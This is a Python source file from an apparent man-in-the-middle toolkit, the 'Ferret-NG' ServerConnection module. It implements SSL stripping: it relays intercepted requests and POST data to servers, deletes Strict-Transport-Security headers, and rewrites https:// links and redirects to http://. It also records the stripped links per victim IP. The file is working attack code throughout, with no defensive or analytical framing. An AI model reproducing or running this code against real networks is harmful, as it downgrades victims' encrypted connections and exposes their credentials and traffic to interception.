core/ferretng/ServerConnection.py
# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
import re
import string
import random
import zlib
import gzip
import StringIO
import sys
from core.logger import logger
from twisted.web.http import HTTPClient
from URLMonitor import URLMonitor
formatter = logging.Formatter("%(asctime)s [Ferret-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("Ferret_ServerConnection", formatter)
class ServerConnection(HTTPClient):
''' The server connection is where we do the bulk of the stripping. Everything that
comes back is examined. The headers we dont like are removed, and the links are stripped
from HTTPS to HTTP.
'''
urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE)
urlType = re.compile(r"https://", re.IGNORECASE)
urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE)
urlTypewww = re.compile(r"https://www", re.IGNORECASE)
urlwExplicitPort = re.compile(r'https://www([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE)
urlToken1 = re.compile(r'(https://[a-zA-Z0-9./]+\?)', re.IGNORECASE)
urlToken2 = re.compile(r'(https://[a-zA-Z0-9./]+)\?{0}', re.IGNORECASE)
#urlToken2 = re.compile(r'(https://[a-zA-Z0-9.]+/?[a-zA-Z0-9.]*/?)\?{0}', re.IGNORECASE)
def __init__(self, command, uri, postData, headers, client):
self.command = command
self.uri = uri
self.postData = postData
self.headers = headers
self.client = client
self.clientInfo = None
self.urlMonitor = URLMonitor.getInstance()
self.isImageRequest = False
self.isCompressed = False
self.contentLength = None
self.shutdownComplete = False
def getPostPrefix(self):
return "POST"
def sendRequest(self):
if self.command == 'GET':
log.debug(self.client.getClientIP() + "Sending Request: {}".format(self.headers['host']))
self.sendCommand(self.command, self.uri)
def sendHeaders(self):
for header, value in self.headers.iteritems():
log.debug("[ServerConnection] Sending header: ({}: {})".format(header, value))
self.sendHeader(header, value)
self.endHeaders()
def sendPostData(self):
self.transport.write(self.postData)
def connectionMade(self):
log.debug("[ServerConnection] HTTP connection made.")
self.sendRequest()
self.sendHeaders()
if (self.command == 'POST'):
self.sendPostData()
def handleStatus(self, version, code, message):
log.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message))
self.client.setResponseCode(int(code), message)
def handleHeader(self, key, value):
if (key.lower() == 'location'):
value = self.replaceSecureLinks(value)
if (key.lower() == 'content-type'):
if (value.find('image') != -1):
self.isImageRequest = True
log.debug("[ServerConnection] Response is image content, not scanning")
if (key.lower() == 'content-encoding'):
if (value.find('gzip') != -1):
log.debug("[ServerConnection] Response is compressed")
self.isCompressed = True
elif (key.lower()== 'strict-transport-security'):
log.debug("[ServerConnection] Zapped a strict-transport-security header")
elif (key.lower() == 'content-length'):
self.contentLength = value
elif (key.lower() == 'set-cookie'):
self.client.responseHeaders.addRawHeader(key, value)
else:
self.client.setHeader(key, value)
def handleEndHeaders(self):
if (self.isImageRequest and self.contentLength != None):
self.client.setHeader("Content-Length", self.contentLength)
if self.length == 0:
self.shutdown()
if logging.getLevelName(log.getEffectiveLevel()) == "DEBUG":
for header, value in self.client.headers.iteritems():
log.debug("[ServerConnection] Receiving header: ({}: {})".format(header, value))
def handleResponsePart(self, data):
if (self.isImageRequest):
self.client.write(data)
else:
HTTPClient.handleResponsePart(self, data)
def handleResponseEnd(self):
if (self.isImageRequest):
self.shutdown()
else:
try:
HTTPClient.handleResponseEnd(self) #Gets rid of some generic errors
except:
pass
def handleResponse(self, data):
if (self.isCompressed):
log.debug("[ServerConnection] Decompressing content...")
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
data = self.replaceSecureLinks(data)
log.debug("[ServerConnection] Read from server {} bytes of data".format(len(data)))
if (self.contentLength != None):
self.client.setHeader('Content-Length', len(data))
try:
self.client.write(data)
except:
pass
try:
self.shutdown()
except:
log.info("[ServerConnection] Client connection dropped before request finished.")
def replaceSecureLinks(self, data):
iterator = re.finditer(ServerConnection.urlExpression, data)
for match in iterator:
url = match.group()
log.debug("[ServerConnection] Found secure reference: " + url)
url = url.replace('https://', 'http://', 1)
url = url.replace('&', '&')
self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
data = re.sub(ServerConnection.urlExplicitPort, r'http://\1/', data)
return re.sub(ServerConnection.urlType, 'http://', data)
def shutdown(self):
if not self.shutdownComplete:
self.shutdownComplete = True
try:
self.client.finish()
self.transport.loseConnection()
except:
pass